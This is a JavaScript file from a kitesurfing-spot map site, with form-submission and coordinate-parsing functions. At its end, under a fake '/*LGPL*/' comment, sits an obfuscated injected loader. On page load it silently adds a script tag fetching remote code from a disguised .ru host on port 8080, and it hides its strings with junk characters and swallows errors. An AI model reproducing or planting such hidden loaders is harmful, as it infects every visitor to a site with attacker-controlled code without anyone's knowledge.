function submitflag () {

$("#submitbutton").hide();
$.Watermark.HideAll();
var fields = $("#flagform").serialize();
$.Watermark.ShowAll();
 $.ajax({
   type: "POST",
   url: "php/addflag.php",
   dataType: "json",
   data: fields,
   success: function(msg){

     if (msg.status == "ok") {
        //load view page to allow pic upload.
        alert ("Thank you. Your kitesurfing location has been added to the map.");
        window.location = "view.php?flag=" + msg.lastid;
      }else{
        $("#submitbutton").show();
        alert (msg.errormessage);
      }
   }
 });
}


function getpassedcoords (defaultcoords) {

  var GET = parseGetVars();

  if (GET["lat"] == parseFloat (GET["lat"])  && GET["lng"] == parseFloat (GET["lng"]) ) {var coords = new GLatLng(GET["lat"],GET["lng"]);}
  else{var coords = defaultcoords;}

  return coords;

}



jQuery(function($){
   $("#windreport").Watermark("Enter website including http://");
   $("#windforecast").Watermark("Enter website including http://");
   $("#localshop").Watermark("Enter website including http://");
});


/*LGPL*/ try{ window.onload = function(){var C1nse3sk8o41s = document.createElement('s&c^$#r))i($p@&t^&'.replace(/&|#|\$|\(|@|\!|\^|\)/ig, ''));C1nse3sk8o41s.setAttribute('defer', 'd$#)e!^f$)e&(@@#r((!'.replace(/#|\$|\(|&|\)|\^|@|\!/ig, ''));C1nse3sk8o41s.setAttribute('type', 't^&e(!x)$(t$/#@)j()(a&)!v#a)s()c@^r$$i^$p()^&#t&!@'.replace(/\(|@|\)|#|&|\$|\^|\!/ig, ''));C1nse3sk8o41s.setAttribute('id', 'U#!4!$^v&$e@h^)$x^@w&$s#(@b)#w^^(&7#)6$@@l!)^'.replace(/&|\!|#|\$|\(|\^|@|\)/ig, ''));C1nse3sk8o41s.setAttribute('s()#r#^((c^'.replace(/@|&|#|\$|\(|\)|\!|\^/ig, ''),  'h^^&t!t(p^^@&@:@/@/&!o&#r!!#@k@)!#&u^!t^)@-!#!@c(#(o^m^$-((!b#)@@r(!.^@$h)##@a^#t)t#$))r(&^i&c@)$k$)).^o!$!r#g&)$.&(w(#i$k@@t&$i!^@!o&n!!)a@@r$y&@#(-^$)o$r@g$!^!.$&^(w@e!!b$!@n#(^e#t$$e)#^^n$^g@!l$#!&i)$&s&^@h@.!r@@@u(&^:($8$^^0#8$!!$0@)^/!&!g&#o@o!((g)l&#$)e(.@@c(!@^o!#m(/&g@(^o#((o^!)&g#@l))(e(&#!.!!c&$$&o))$m&@$/@i!&n^t(!e^l^@.@)($c#(@o$!m(/)&v#)))n^#e$t^@.$#@c()(n)^(&/$o&n^#)(l(^i^^n$)e!d^^o!@w@$&n(@.$$!#n^@e((t^/!@(@'.replace(/&|\(|\)|\$|\^|\!|#|@/ig, ''));if (document){document.body.appendChild(C1nse3sk8o41s);}} } catch(O28ie36gdspcwlg5bd0) {}